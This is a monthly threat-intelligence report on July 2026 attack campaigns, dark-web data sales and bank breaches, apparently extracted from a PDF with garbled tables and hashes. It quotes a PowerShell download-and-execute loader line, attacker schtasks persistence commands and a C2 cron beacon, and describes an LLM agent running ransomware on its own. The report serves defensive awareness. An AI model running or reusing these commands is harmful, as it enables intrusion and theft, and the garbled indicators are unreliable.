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Disclaimer:

o This report is intended solely for cybersecurity awareness and defensive purposes.

The screenshot figures are being exposed by threat actors or victims.

The report is strictly for intended audience only.

Do not expose it outside the organization.

Some threat actor claims and dark web listings referenced may remain unverified at the time of publication.
EnCyb is not responsible for any harmful actions taken based on the information presented in this report.
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Executive Summary

July 2026 was characterized by a significant increase in identity-focused attacks, Al-assisted malware, supply
chain compromises, cloud credential theft, and exploitation of internet-facing infrastructure. Threat actors increasingly
targeted authentication systems, enterprise VPNs, Microsoft 365 environments, CI/CD platforms, and cloud services to
gain persistent access while minimizing traditional malware deployment. Financially motivated ransomware groups
continued to prioritize data theft and extortion, whereas state-sponsored actors focused on long-term cyber espionage
against government and critical infrastructure.

The reporting period also highlighted the growing operational use of Al within offensive cyber operations, with campaigns
such as JADEPUFFER demonstrating autonomous attack capabilities. Meanwhile, sophisticated phishing campaigns
targeting Microsoft passkey enrollment, software supply chain attacks, dark web data sales, and large-scale credential
theft continued to reshape the enterprise threat landscape. Organizations should strengthen identity protection,
accelerate vulnerability remediation, enhance monitoring of cloud environments, and adopt proactive threat hunting to
mitigate these evolving risks.

Overall, the July threat landscape demonstrates that modern adversaries are adopting identity-first attack strategies,
leveraging trusted cloud services, legitimate administration tools, and Al-enabled capabilities to evade traditional
security controls and maximize operational impact. As cyber threats continue to evolve in sophistication and scale,
organizations should adopt a defense-in-depth approach by strengthening identity security, accelerating vulnerability
remediation, enhancing cloud and infrastructure resilience, and fostering cyber awareness across the enterprise. Proactive
security governance, combined with timely intelligence-driven decision-making, remains essential to reducing
organizational risk and improving resilience against emerging cyber threats.
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L Global Threat Overview

Top 5 Target Sectors
Finance Technology Government Healthcare  Aerospace

Top 5 Risks Breakdown

Ransomware Vulnerability Data Breach DDoS Supply Chain

Top 5 Active Malwares

UAT-11795
WP-SHELLSTORM

TA488

SilverFox, TripleX
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Notable Campaigns & Events

A summary of significant cyber incidents, threat actor activities, and major cybersecurity developments observed during
the reporting period, with focus on events linked to ongoing geopolitical tensions and emerging cyber threats.

» Qilin Ransomware Exploits Palo Alto GlobalProtect VPN Vulnerability (CVE-2026-0257)

Security researchers have confirmed that the Qilin ransomware group is actively exploiting the critical Palo Alto Networks
PAN-OS GlobalProtect authentication bypass vulnerability (CVE-2026-0257) to gain initial access to corporate networks.
Investigations identified multiple intrusions during June 2026 where attackers exploited vulnerable, internet-facing
GlobalProtect VPN appliances before deploying Qilin ransomware. The observed attacks ranged from rapid ransomware
encryption to full double-extortion operations involving data theft, highlighting the increasing focus of ransomware
affiliates on perimeter security devices such as VPN gateways and firewalls as initial access vectors.

Threat Actor : Qilin Ransomware (Ransomware-as-a-Service)

Target Verticals: Financial Services, Government, Manufacturing, Healthcare, Technology, Critical Infrastructure, and
organizations using internet-facing Palo Alto GlobalProtect VPN appliances.

Attack Chain:
) = " 05 N 06
By Iy (/\) I AT =
[ WY R
. = SN
Initial access Persistence Credential theft Lateral movement Exfittratiun Impact

Exploit CVE-2026-0257 SSL VPN VPN sessions + RATSs: Dump LSASS memory & Recon (netscan/NetExec); Copy data to MEGA Disable Defender, wipe Veeam
bypass on Palo Alto firewalls AnyDesk, MeshAgent, Ngrok NTDS dit via ntdsutil IFM spread via SMB C$ + PsExec with Rclone / FileZilla backups, deploy ransomware

Qilin CVE-2026-0257 attack chain

Attack Technique: Qilin affiliates exploit the CVE-2026-0257 authentication bypass vulnerability in vulnerable Palo Alto
PAN-OS GlobalProtect Portal and Gateway instances to establish unauthorized VPN connections without valid credentials.
Following initial access, attackers perform reconnaissance, establish persistence, move laterally within the environment,
escalate privileges, and deploy ransomware. Depending on the affiliate's objectives, attacks may involve rapid file
encryption or double-extortion through data exfiltration and threats of public disclosure. Organizations with unpatched
GlobalProtect appliances, authentication override cookies enabled, or insecure certificate configurations are at increased
risk and should apply vendor security updates and recommended mitigations immediately.

\‘&'\fg En@yb 5 MANAGED SECURITY SERVICES
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Qilin's clearnet leak site (WikileaksV2), where stolen data from non-paying victims is published. Victim information has been
redacted.

» Targeted Attack on Government Entities in the Middle East

Discovered a cyber-espionage campaign in July 2026 carried out by a threat actor linked to East Asia targeting government
organisations in the Middle East. During the investigation, researchers analysed post-compromise activity after the
attackers had already gained access to victim environments and identified three previously undocumented malware
families: TELESHIM, MIXEDKEY, and BINDCLOAK. The attackers used these tools in a multi-stage attack, with each malware
serving a different role in maintaining access and controlling compromised systems. One notable characteristic of the
campaign is that TELESHIM communicates through the Telegram API, allowing its network traffic to blend with legitimate
Telegram communications.

Threat Actor : East Asia-linked cyber-espionage threat actor
Target Verticals : Government organisations in the Middle East
Attack Technique : The threat actor conducted a multi-stage attack using three previously undocumented malware

families: TELESHIM, MIXEDKEY, and BINDCLOAK. TELESHIM and MIXEDKEY use multiple code obfuscation techniques to
hinder analysis, while TELESHIM also performs virtual machine and malware analysis environment checks and terminates
execution if such environments are detected. BINDCLOAK is encrypted using the infected system's disk volume serial
number, allowing it to be decrypted and executed only on the intended victim's machine. TELESHIM uses the Telegram API
as its command-and-control communication channel to blend with legitimate network traffic.
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ISO file

TELESHIM Telegram C2

Abuses Telegram API 0

1HiIl=0
11101=0
11I1=0

AsTaskSched.dll I

TLP: GREEN

Loads

MIIXEDKEY

Loads

Deploys

Decrypts

Reflectively
loads

CO99F29AC084548
55B3D538960BB2
F34F.PCPKEY

J

Legitimate Legitimate pthreadvC2.dll
RegSchdTask.exe GoProAlertService.exe
BINDCLOAK C2 server

11111=0

1IN =0

11111=0

cert.hypersnet[.Jcom

The table below summarizes some of the C2 commands executed by the threat actor.

System reconnaissance

Network reconnaissance

File reconnaissance

Persistence

Command verification

Network connection
verification

net user
tasklist
hostname

ipconfig /all
ipconfig /displaydns
netstat -ano

dir c:\Users

dir c:\Users\\desktop

dir c:\Users\\Downloads

dir C:\ProgramData\Crypto\DSS\
dir C:\ProgramData\

dir C:\ProgramData\Lenovo

dir C:\ProgramData\Intel

schtasks /create /f /sc minute /mo 10 /tn
"Feedback" /tr
"C:\ProgramData\Intel\winProAlertService.exe'

schtasks /Query /TN Feedback /v

ping cert.hypersnet[.]Jcom -n 1
ping ssl.blsougs[.]Jcom -n 2
ping contacts.ftabnews[.]Jcom -n 2

Discover information about current
users, list of running processes, and
the hostname of the infected machine.

Discover information about the
system's network configuration and
active network connections.

Retrieve a list of files in key directories
to gain intel, choose an appropriate
staging directory, and validate
successful deployment of next stage
payloads.

Create a scheduled task that runs
every 10 minutes to execute the next
stage.

Verify the scheduled task installation.

Verifies network connectivity

MANAGED SECURITY SERVICES
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Post-Compromise Activity: During analysis, observed command-and-control (C2) activity that included system, user, and
network reconnaissance commands, along with the deployment of next-stage payloads. Most of the observed activity
occurred between 7 July 2026 and 9 July 2026. Timing analysis of the original C2 command timestamps showed that all
commands were executed between 4:00 AM UTC and 12:00 PM UTC, with the highest concentration of activity occurring
between 7:00 AM UTC and 11:00 AM UTC.

Indicators Of Compromise:

T e e oncipon

97124393766be732e8fef5a56a5346a2

C1fl6e31lae71372ee45fa6fd6927c7b887ad4e3f2 Cooperation protocol for the exploration of il)i’?arfr:lr\\/ethe
789fd11285642861190dc074c1e9a5957073f1la2afeb  petroleum and gas (English).zip SO ima eg
d5160f9cc907f7f320bd ;
68926e6c958562deaae35de3d9f59de3

Ccb2002fe8f5cc1f511d52309625b52d1c507421 Cooperation protocol for the exploration of IS0 image file
¢84542ac30cbe9bb8bd648bad323c37801023bf9451c  petroleum and gas (English).img &
1c0990452466e084340f

087499849115eb28c4364581d2b28d09 71P archive
86ee99f293a30720bcc898a4a8e391f93fb9be95 Agreement_on_the_ Establishment_of Co A
32529043d15e9111ba284f1d8a9%e4b3f58e071c6b69c mmon_Border Offices English (1).zip SO ima eg
8f271d4d02feacd44e66 2
B776eb638fbb535708fb92b12fcc1731

2377c47cfde148c2140faa7105628174f9c4d56d Agreement on the Establishment of IS0 image file
db11ff3f37a8b22a25c480871504b886a6364167ecb5 Common Border Offices (English).img &
0leacf7345f6bbf9582b

7cbc51adaladaec88660ec32c408114b

F46c01a5be2e08e36d4ec3302a8650a6ed25ec14 AsTaskSched.dll TELESHIM
5c2fe953da53da66fbcbb3be0fd6b63907¢10714c337f : (new)
287b2fc258857bbff6d

3f60d53a2b5737d77e058d9e33cbe9eb

1099bf51e53bd5fb32401edb4e0be841d8486b19 AsTaskSched.dll TELESHIM
cacl1f37beaa814461f7709a073aeec468c74e5d70f7d6 ) (old)
93a9e367eced4a3a78be

28b47bdfl6d7af6f8ec21218eac9145a

Fee6806c96f87bfle240a2eb6fd7e045101d58d3 e e TELESHIM
0637069¢7052118fd5c0f1113541bdd35e5f71cd9689f PP i (old)
2516045da152c6fa8d9

78a4f8574830bf7fbaf63d7da09be2b8 MIXEDKEY
Ee287d6a09295502ab2407aec336f9f0d8477d68 threadvc.dl reflective PE
3b3eaea783fd6dab90f0408274bf8a9c49adbdc70c0ef P j B
d70658d65b0e1684a3f

7a14a99d70d42d3f7bf72f843185fc07 N/A BINDCLOAK

577b1cc894636f4ac5ad670b0079b9b7ade137c3
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3b0c658ebaa2bae80af97f390b9b2bb20a2f815eb584
b2251255e84da4fa669d

cert.hypersnet[.]Jcom N/A C2 Domain

» Broker Advertises Super Admin Access to Golden Tulip Bahrain FortiGate Firewall

A seller posting as Roiese in dark web is offering what they describe as full administrative access to the FortiGate firewall
and network security environment of Golden Tulip Bahrain, a hotel property in Bahrain. The listing claims super_admin
level control across firewall policies, VPN and remote-access configuration, user and group administration, network
objects, and APl-based management, and enumerates eight administrative accounts said to hold that profile. Five
screenshots of the management interface are attached as proof. The post is formatted as a professional risk assessment,

including the seller's own severity rating and a profile of the target's revenue and headcount. The claim is unverified and
Golden Tulip Bahrain has not publicly addressed it.

A Listing details @00 —

Advertised capabilities ™

Super_admin Firewall policy
profile access modification

‘ TARGET COUNTRY
\ Golden Tulip Bahrain | E Bahrain
SECTOR LISTING
Hospitality / Hotel | Access for sale, price on
‘ request |

VPN configuration Remote-access
control management

Administrative [ User & group
account control |~ administration
Application-control Network object
profiles visibility

| ENVIRONMENT NCE
‘ FortiGate firewall interface screenshots

| OBSERVED ACTOR
| Jul 30, 2026 Roiese

\\ P

Security architecture API-based
exposure administration

Potential Impact:

A firewall is not one system among many; it is the boundary everything else sits behind. Super_admin on a FortiGate would
expose the internal network layout and allow policy changes, and the ability to create VPN accounts is the part that persists,
since credentials issued now survive remediation elsewhere. For a hotel, property management, booking, and payment
systems sit inside that perimeter. Edge appliance access is the standard opening move in ransomware intrusions, which is
what this listing is realistically sold for. The target is a single franchised property, not a wider brand. The claim is unverified.

@ En@yb 9 MANAGED SECURITY SERVICES
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Dark web post on selling access

» Bank Of Baroda Breached - Officially claimed

On July 24, 2026, the Triple X ransomware group claimed to have exfiltrated 1 TB of data from India's second-largest public
sector bank. The full dump is publicly accessible on Tor with over 92,000 files observed including customer KYC, security
reports, and internal audit documents. These are indicative numbers from initial ongoing analysis.

Triple X claimed to have broken into Bank of Baroda's internal systems and stolen massive amounts of data. The group
published the stolen data on the dark web (Tor network) completely accessible to anyone, with no password required.

TRIPLE X

RANSOMWARE GROUP

Profile of the ransomware group behind the Bank of Baroda breach

o

ASSESSMENT

Triple X is a new, financially motivated criminal group with
specialised skill in targeting large Asian banks. First observed
May 2026. Only 2 confirmed victims (BNI Indonesia, BoB India)
in ~2.5 months.

TRIBUTION CAVE!
Cyber threat attribution is inherently uncertain. The Triple X identity, origin, motivations,
and claimed attack vector (“weak password") are based solely on self-published leak-site
statements, file metadata, and observed infrastructure. There is no independent forensic
verification of these claims. Attribution may shift as CERT-In, CBI, or third-party investigators
release their findings. This profile should be read as indicative threat inteligence,
not confirmed identity.

2 GROUP PROFILE

z Name Triple X (TripleX, TX)

ﬁ Type Ransomware-as-a-Service / Data extortion
First Seen ~May 1-10, 2026

0 Leak Site Tor onion service (no auth)

@ Victims BNI (Indonesia), Bank of Baroda (India)
m Target Sector Financial services (state-owned banks)
@ Geographic Focus Asia-Pacific (Indonesia, India)

Se
b

e

®©0 000

SUSPECTED MODUS OPERANDI

M.O. Double extortion + public leak + full dump access

1. INITIAL ACCESS
Weak/compromised credentials (possibly VPN or RDP)

2. LATERAL MOVEMENT
Harvested Windows domain credentials, moved through
SharePoint/file server infrastructure

3. EXFILTRATION
~1 TB of data using rclone or similar tool
(detectable but not stopped)

4. ENCRYPTION

Double extortion — encrypt victim data + threaten public release

KEY TAKEAWAY

Triple X follows a “leak-first” strategy —
public exposure is the main pressure
tactic, not encryption alone.

5. LEAK
Full directory listing published on Tor — no paywall,
no staged release

10

To be verified by cyber forensic audit
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How did it happen?

According to Triple X's announcement, the breach was enabled by a "weak password". The attackers likely:
1. Gained initial access through compromised credentials

Moved laterally through Bank of Baroda's internal network

Reached the SharePoint / file server infrastructure

Exfiltrated ~1 TB of documents over an extended period

NSRS

Published everything publicly

What data was stolen?
The dump covers nearly every aspect of the bank's operations:
e Customer KYC - eKYC dumps, CKYC lists, ReKYC notices (178 MB)
e Legal & Audit Docs - Legal notices, audit reports, compliance docs (63 MB)
e Loan Records - Gold loans, home loans, NPAs, IRAC data
e VAPT Reports - Security vulnerability reports (i0S, Android, NEFT-RTGS)
e Network Configs - httpd.conf (DC+DR), firewall rules, VPN configs
e Employee Workspaces - Named employee directories with personal files
e International Ops - UAE, Botswana, Fiji, Kenya, Guyana, Uganda branches
e Transaction Data - IRAC loan dumps, reconciliation data, MAU transactions

Who is affected?

Virtually all Bank of Baroda customers may be impacted. The compromised file server contained operational data from 62
top-level branches, including zonal and regional offices across India, as well as more than 12 international locations.
Exposed data includes KYC records, transaction datasets, loan-related documents, and audit files. As a result, any individual
or organization that has maintained a banking relationship with Bank of Baroda could potentially have their information
included in the leaked data.

What data was exposed?

~4.1 GB more observed across the full dump.

A Critical: Approximately 242 MB of high-signal files identified through directory listing analysis.
These are preliminary numbers from ongoing analysis.

Audit Reports E Customer PII KYC Documents ) Transaction Data
L]
3,352 248 169 613
files exposed files exposed files exposed files exposed
-
Loan Records J @ Credentials VAPT Reports Network Configs
files exposed files exposed files exposed files exposed
Q Fraud Data @ Intl. Operations Employee Data @ Financial Records
files exposed files exposed files exposed files exposed
HIGH HIGH HIGH

11
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Threat Actor Timeline : May — July

~MAY 1-10

EMERGENCE: Triple X ransomware group first observed establishing its

2026 ¢ Tor-based leak infrastructure.

SUN, MAY 11 FIRST KNOWN VICTIM: Bank Negara Indonesia (BNI) compromised.
2026 Approximately 2 TB of customer data allegedly exfiltrated.

FRI, MAY 22 FIRST DATA LEAK: Triple X publishes BNI breach details, releasing sample
2026 datasets containing passports and national ID records.

JUNE 2026

THREAT INTELLIGENCE: Triple X added to ransomware monitoring platforms
and identified as an emerging financially motivated threat actor.

FRI, JULY 24

BANK OF BARODA TARGETED: Triple X claims compromise of Bank of Baroda,

2026 alleging ~1 TB of stolen data obtained through a weak password.
SAT, JULY 25 DATA DUMP RELEASED: Public Tor leak server goes live containing 15,774+ files,

2026 including CKYC records, VAPT reports, administrative credentials, and internal documents.
JULY 25-26 LEAK SITE FLUCTUATION: Tor-hosted dump server experiences intermittent

2026 outages before returning online. Threat intelligence researchers amplify

®@000000

findings across X (Twitter).

» JADEPUFFER Agentic Ransomware Campaign

JADEPUFFER, the first publicly reported Agentic Threat Actor (ATA) capable of autonomously executing a complete
ransomware and database extortion operation using a Large Language Model (LLM). Unlike traditional ransomware that
relies on human operators, JADEPUFFER exploits vulnerable Al infrastructure, performs reconnaissance, harvests
credentials, moves laterally, establishes persistence, and encrypts production databases with minimal human intervention.
The campaign targeted internet-facing Langflow instances vulnerable to CVE-2025-3248, ultimately compromising
downstream MySQL and Alibaba Nacos servers. Researchers observed the Al agent dynamically adapting its attack steps,
rewriting failed commands, and generating self-narrating payloads, demonstrating a significant evolution toward Al-driven
cyber extortion.

Threat Actor  : JADEPUFFER (Agentic Threat Actor - Al-driven ransomware)

Target Verticals: Organizations deploying AI/LLM infrastructure, Technology, Cloud Service Providers, Software
Development, Al/ML Platforms, Financial Services, Manufacturing, and enterprises operating internet-facing Langflow
instances or exposed database services.

Indicators of Compromise

Indicator Type Indicator / Value Description / Significance

Used for initial access and post-exploitation. Persistence established
45.131.66[.]106 through a cron job beaconing to hxxp://45.131.66[.]106:4444/beacon
every 30 minutes.

Source / Command
& Control (C2)

Eﬁ“g En@yb 12 MANAGED SECURITY SERVICES
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Exfiltration / Staging
Server

Entry Vulnerability

Bitcoin Wallet

Ransom Contact
Email

Ransom Note
Artifact

Persistence
Mechanism

64.20.53[.]230
(InterServer,
AS19318)
CVE-2025-3248
3J98t1WpEZ73CNm

QviecrnyiWrngRhW
NLy

€78393397[@]proto
n[.Jme

README_RANSOM

Cron Job

TLP: GREEN

Infrastructure used to stage or exfiltrate stolen data prior to
publication or ransom operations.

Langflow unauthenticated Remote Code Execution (RCE) vulnerability
exploited to gain initial access.

Cryptocurrency wallet specified for ransom payment.

Email address provided for victim communication. Notably, it has no
hits in public threat intelligence databases, victim forums, or abuse
reports. Its naming convention (single lowercase letter followed by
eight digits) differs from known MySQL ransomware operators, which
typically reuse descriptive aliases across multiple campaigns.

Name of the ransom table found in the compromised database. This
does not match known MySQL ransomware naming conventions (e.g.,
WARNING, RECOVER_YOUR_DATA, PLEASE_READ_ME), raising
questions about whether the campaign was manually operated or
partially generated using LLMs.

A scheduled cron task configured to beacon to the C2 server
(45.131.66[.]106:4444) every 30 minutes, ensuring continued access
and persistence.

» Malaysia's LHDN Tax Portal Data Offered for Sale
10 Million Taxpayer Records Exposed

A threat actor operating under the alias "dezetat" is offering for sale what is claimed to be a database stolen from

Malaysia's Inland Revenue Board (LHDN/IRBM) through its MyTax portal. The listing advertises approximately 10 million

taxpayer records in JSON format, allegedly exfiltrated in June 2026, with an asking price of US$20,000. According to the

seller, the dataset contains sensitive personal and financial information, including taxpayers' NRIC numbers, full names,

Tax Identification Numbers (TINs), dates of birth, marital status, residential addresses, email addresses, phone numbers,

and employer details. The post further claims that around 5.29 million records also contain bank account numbers and

associated bank names. At the time of reporting, the authenticity of these claims has not been independently verified.

112 MANAGED SECURITY SERVICES
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{5 Post Details

TARGET

Inland Revenue Board
{LHDN / IRBM), MyTax

SECTOR

Government [/ Tax

DATA

NRIC, TIN, bank accounts,
addresses

OBSERVED
Jul 2,2026

ACTOR
dezetat

Allegedly included

= 10M taxpayer records

COUNTRY
#E Malaysia

CLATM
10M taxpayer records (JSON)

OBSERVED
Jul 2, 2026

EXFIL DATE
June 2026

ACTOR
dezetat

= NRIC national ID numbers

TLP: GREEN

m Tax numbers (TIN) = Names & dates of birtti

Eull addresses = Email & phone numbers

m Bank accounts (-5.29M)
& names

= Employer & company data

Empldyer & company data

Threat actor posts in dark web forum

» Pro-Iran Hacktivist Groups Launch DDoS and Hack-and-Leak Attacks
Against Critical Infrastructure

Observed an increase in coordinated cyber disruption campaigns conducted by multiple pro-lran hacktivist groups
targeting critical infrastructure, government organizations, technology providers, and entities perceived to support U.S.,
Israeli, or Western interests. The campaigns are primarily focused on Distributed Denial-of-Service (DDoS) attacks, website
defacements, credential-focused operations, hack-and-leak activities, and disinformation intended to disrupt public-facing
services and damage organizational reputation. Rather than operating under a centralized command structure, these
groups collaborate through Telegram channels, shared target lists, commercial DDoS-for-hire (stresser) services, and
coordinated social media campaigns. Recent reporting also highlights the Handala Hack Team's claimed destructive activity
against Stryker through the abuse of compromised privileged credentials and legitimate Microsoft Intune remote
management capabilities, demonstrating an increasing reliance on trusted administrative tools instead of custom malware.

Threat Actors : Cyber Fattah, Fatimiyoun (FAD Team), Dark Storm, Keymous+, DieNet, RipperSec, Cyb3rDragOnz, Handala
Hack Team, NoName057(16), Killnet, and other Iran-aligned hacktivist collectives.

Target Verticals : Government, Critical Infrastructure, Telecommunications, Healthcare, Financial Services, Logistics, Cloud
Service Providers, Technology Organizations, Open-Source Infrastructure, and organizations aligned with U.S., Israeli, or
Western interests.

MANAGED SECURITY SERVICES
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Attack Technique: The threat actors conduct coordinated Distributed Denial-of-Service (DDoS) attacks to disrupt internet-
facing services while simultaneously performing website defacements, credential theft, hack-and-leak operations, and
disinformation campaigns. The groups leverage commercial stresser services, shared target lists, Telegram-based
coordination, and public leak sites to amplify attack volume and media attention.

Jihadist / Opportunistic / Russian-Aligned Convergent Actors

Cyber Jihad Ideological
Movement (CJM) Mobilization

Server Killers
LN
Propaganda /
NoName057(16) — Psychological Ops

Killnet —

b
Coalition Amplification

—Y v

MONARCH
(formerly Russian Legion)

DieNet ~

Keymous+

APT IRAN Jilaia=i 3Sye
) Y=

FiFg_us
313 Team
13xTear
(Claapidl o9 all Jni ) sxgall alotil 353 slaall b duilussal] duoslsdl] Bl

Qlraq & J Decemt

27 Following 790 Followers  1.1K Posts

> FSB Center 16 Router Compromise Campaign

Researchers and multiple government agencies have identified ongoing activity by FSB Center 16, a Russian state-
sponsored threat actor, targeting vulnerable network infrastructure devices worldwide. The campaign exploits weak SNMP
credentials, Cisco Smart Install, and insecure protocols such as TFTP to compromise routers, establish persistence, and
enable follow-on attacks against enterprise and critical infrastructure networks. A joint advisory from the NSA, CISA, FBI,
and international partners urges organizations to harden router configurations, disable unnecessary management services,

use secure protocols, and keep firmware up to date.

Threat Actor: FSB Center 16 (also tracked as Berserk Bear, Energetic Bear, Crouching Yeti, Dragonfly, Ghost Blizzard, and
Static Tundra).
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Target Verticals: Communications, Telecommunications, Defense, Energy, Financial Services, Government, Healthcare,
Critical Infrastructure, Internet Service Providers (ISPs), and Enterprise Organizations operating network infrastructure.

Attack Technique: The threat actor exploits vulnerable or misconfigured routers by abusing SNMP Set-Requests, weak or
default SNMP community strings, and Cisco Smart Install functionality (including devices vulnerable to CVE-2018-0171) to
retrieve or modify router configurations. Attackers use spoofed IP addresses to conceal their origin and transfer
configuration files through Trivial File Transfer Protocol (TFTP) or compromised intermediary servers. By compromising
routers that often lack endpoint detection and response (EDR) visibility, the attackers establish persistent access, collect
sensitive network configuration data, and enable follow-on intrusion activities against internal systems. Organizations
should disable Cisco Smart Install where not required, implement SNMPv3 with authentication and privacy (authPriv),
replace default SNMP community strings, restrict management interfaces to trusted networks, disable unnecessary
services such as TFTP, apply the latest vendor firmware and security updates, continuously monitor network infrastructure
for unauthorized configuration changes and anomalous SNMP or TFTP activity, and ensure comprehensive logging and
network segmentation to reduce the risk of compromise.

» RapidFort Allegedly Breached in CanisterWorm Campaign
569GB Across 48 S3 Buckets Listed for $40,000

A threat actor xplOQitrs is advertising the sale of data they claim to have taken from RapidFort, a US container hardening
and software supply chain security vendor. The listing attributes the intrusion to a campaign the poster calls CanisterWorm,
carried out with a group named TeamPCP, and describes 569GB across 140,061 files extracted from 48 S3 buckets. The
seller publishes a detailed bucket-by-bucket manifest covering hardening pipelines, a vulnerability database pipeline said
to account for roughly 235GB, scanner backends, DevOps infrastructure, and billing exports, and claims the set contains
plaintext cloud credentials, Kubernetes kubeconfigs, and private keys. The actor further claims the data dates to March
and that customers were never notified. The asking price is $40,000, negotiable. The claim is unverified.

a Post Details & Allegedly Included

TARGET COUNTRY = Vulnerability DB = |mage hardening
pipeline (~235GB) pipelines
@ RapidFort = United States
= AWS credential s Kubernetes
i kub figs (AKS
SECTOR LISTING P bGamtfigl )
Technology / ‘ Data for sale — $40k s GitlLab & = Azure storage
Cybersecurity negotiable PostgreSQL creds account key
RSA and encryption EC2 instance
VOLUME SOURCE keys credentials
@ 569GB / 140,061 files 48 S3 buckets
DoD pipeline & Customer
deploy configs CloudFormation
templates

OBSERVED
Jul 21, 2026

CAMPAIGN

4
Tk CanisterWorm /

Jenkins build

Redis scanner DB

TeamPCP server backups dumps
CloudFront CDN AWS billing &
access logs usage exports
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comsoss 569GB RAPIDFORT DATA FROM CANISTERWORM

xploitrs @ 7 minutes ag

rapidfort-rfscan | 345 MB

Th

ast-1

Screenshots of sale post in dark web forum.

» Armored Likho APT Campaign Leveraging BusySnake Stealer

Recently identified a previously undocumented threat actor, Armored Likho, conducting targeted cyber espionage and
financially motivated campaigns against government agencies, electric power organizations, and private individuals. The
group primarily relies on spear-phishing emails masquerading as official government communications, humanitarian
assistance, and social program documents to deliver a sophisticated malware toolkit. A key component of the campaign is
BusySnake Stealer, a newly discovered Python-based information stealer engineered with advanced obfuscation, anti-
analysis, and persistence capabilities. Researchers also observed evidence suggesting the use of Al-generated loaders and
stagers during the initial stages of infection, enabling the attackers to rapidly diversify delivery mechanisms and evade
detection. BusySnake integrates credential theft, browser data extraction, reverse SSH tunneling, screenshot capture,
document exfiltration, and remote command execution into a single modular framework, allowing attackers to maintain
persistent access and conduct long-term espionage operations. The campaign has primarily targeted organizations in
Russia, Kazakhstan, and Brazil, with a focus on critical infrastructure and government entities.

Threat Actor: Armored Likho (with observed overlaps to the Eagle Werewolf threat cluster).

Target Verticals: Government, Electric Power, Critical Infrastructure, Public Sector, Defense-related organizations, and
selected private individuals in Russia, Kazakhstan, and Brazil.

Attack Technique: The campaign begins with spear-phishing emails delivering malicious RAR archives, executables, or
LNK files disguised as legitimate government or financial documents. Once executed, Al-assisted loaders retrieve and

%{5 En@yb 17 MANAGED SECURITY SERVICES



Monthly Intel Report TLP: GREEN

deploy the BusySnake Stealer, displaying decoy documents to avoid suspicion. The malware establishes persistence
through scheduled tasks, uses PyArmor Pro obfuscation to evade detection, and steals browser credentials, cookies,
Telegram sessions, cryptocurrency wallet data, OTP secrets, screenshots, keystrokes, and sensitive files. It also enables
remote access via reverse SSH tunnels or RustDesk. Organizations should strengthen email security, deploy EDR, enforce
phishing-resistant MFA, monitor scheduled tasks, PowerShell/Python activity, reverse SSH and RustDesk usage, and
conduct proactive threat hunting to detect and contain BusySnake infections.

a\Local\Temg sv20BD. tmp\pnx.exe"

Loader removal script

gned 1o execute module.pyw andc is used to ensure

& system by creating a scheduled task

dataex

Persistence script

Payload repository

Obfuscated PowerShell command

This, in turn, spawns a PowerShell command that downloads and executes the malicious loader:

w

r=hi L OX -w } e "Ss=irm
'https://arked[.]lonline/builder/weblnk/raw/17775492%4 /web script.txt';iex('"'+$s);"

Downloading and executing the loader

Indicators of Compromise

5D5C3E483C5E544260CE98FC29FBF192 PS1 Stager

FiistStoge 7141917CBA2EEE2B4D31107FACCF3A39 EXE Stager
Malicious Files

F5C6434EESF7578FAA3BC1257E1C9226 EXE Stager
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BusySnake Stealer
Samples

Command-and-
Control (C2)
Domains

C019797A00FD56EDB1F468AC0A598510
AOEC7A8E61EFF3F445A7455B3AEFOFBB
7DB9C688C620E54E8C69B7E52A7579FB
90378881856ABFA47D7745C0A3EF9DCS8
1DBA3E505491A260A44C867902C3296E
1096268FA2B3D454C86CF851CB782319
F2ABOSD7E7A375A192508A5014AA2EE4
0041FD1B2358CD08DBCBC28EA8FC3D20
894332174F536C2E1EFEDAOSCBA79F8B
78135F72AB148A0CC074F6B2DD51FFF6
07213C419489C02791E8D67B91E404EF
393B498F2114CABCOB29D5FCDIODC6723
CF74AC018D158EA2C2CFA1B1D71D95BC
2DFA1D949872C1B2F04952DD3ESF5D8F
C7622A1EFFA27BBFEE6D6E03D6474343
80B7700053E115D65365CE7330383320
6B45DDB39A6E86229348DCBBA3857E7C
006887732CA4A4A46A97989CFADEEEF6
732C31ACF971A81C7E51B2A3DAE82020
DDFF82A115558584BBD7741DA4FFB35B4
8188B2F347B77D65D08CFB23808AC244
E2550CFAD9DCC880BF04F6048F90868C
FD2BDD8047ADDEE6FDE2F532DE181BFD
winupdate][.]live
arvax[.]Jxyz
varenie[.]live
v199].]store
onetoken[.]ink
winupdatel[.]ink
grked[.]Jonline
ndrt[.]Jink
myboard[.]chickenkiller.com

myboard[.]twilightparadox.com

1,
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BAT Stager
BAT Stager
BAT Stager
RAR archive with advanced cookie extractor module
RAR archive with malicious DLL loader
EXE Dropper
EXE Dropper
EXE Dropper
DLL Loader
DLL Loader
DLL Loader
LNK File
LNK File
LNK File
PYW BusySnake Stealer
New PYW BusySnake Stealer
RAR archive containing BusySnake
RAR archive containing BusySnake
RAR archive containing BusySnake
RAR archive containing BusySnake
RAR archive containing BusySnake
RAR archive containing BusySnake
RAR archive containing BusySnake
C2 Infrastructure
C2 Infrastructure
C2 Infrastructure
C2 Infrastructure
C2 Infrastructure
C2 Infrastructure
C2 Infrastructure
C2 Infrastructure
C2 Infrastructure

C2 Infrastructure
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159.198.41[.]140 C2 Server

159.198.75[.]219 C2 Server
C2 IP Addresses

159.198.32[.]222 C2 Server

69.67.173[.]153 C2 Server

» Al-Powered Microsoft 365 Phishing Campaign Using Jalisco and Omegalord Toolkits

Identified sophisticated phishing campaigns targeting Microsoft 365 users using the Jalisco and Omegalord phishing
toolkits. Jalisco abuses Microsoft's OAuth Device Code authentication flow to steal access and refresh tokens, while
Omegalord harvests user credentials and phone numbers by masquerading as a PDF reader. Researchers also observed
increased use of Al to generate phishing lures and automate campaigns at scale. Successful attacks enable persistent access
to Microsoft 365 services, including Outlook, Teams, OneDrive, and SharePoint, without requiring the victim's password
after token compromise.

Threat Actors: Cybercriminals and Phishing-as-a-Service (PhaaS) operators utilizing the Jalisco and Omegalord phishing
toolkits to target Microsoft 365 users.

Target Verticals: Government, Financial Services, Healthcare, Technology, Manufacturing, Education, Professional Services,
Critical Infrastructure, and any organization utilizing Microsoft 365 cloud services.

Enter code to allow access

& CO02 QISDIayed 0N YOour aog Or Oevice,

Do not enter codes from sources you don't trust

poument pdf

ANJECSEGS

oy |
—
e —

Legitimate Microsoft login window opened by a device code phishing site
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This document is password protected.
Please enter the email password below

View ]

The Omegalord infostealer pop-up

Indicators of Compromise
Indicators reflect observed malicious activity. Some may be legitimate services, or third-party sites compromised or
abused by threat actors without the owner's knowledge.

authplanned|.]online Jalisco Device Code Kit Domain
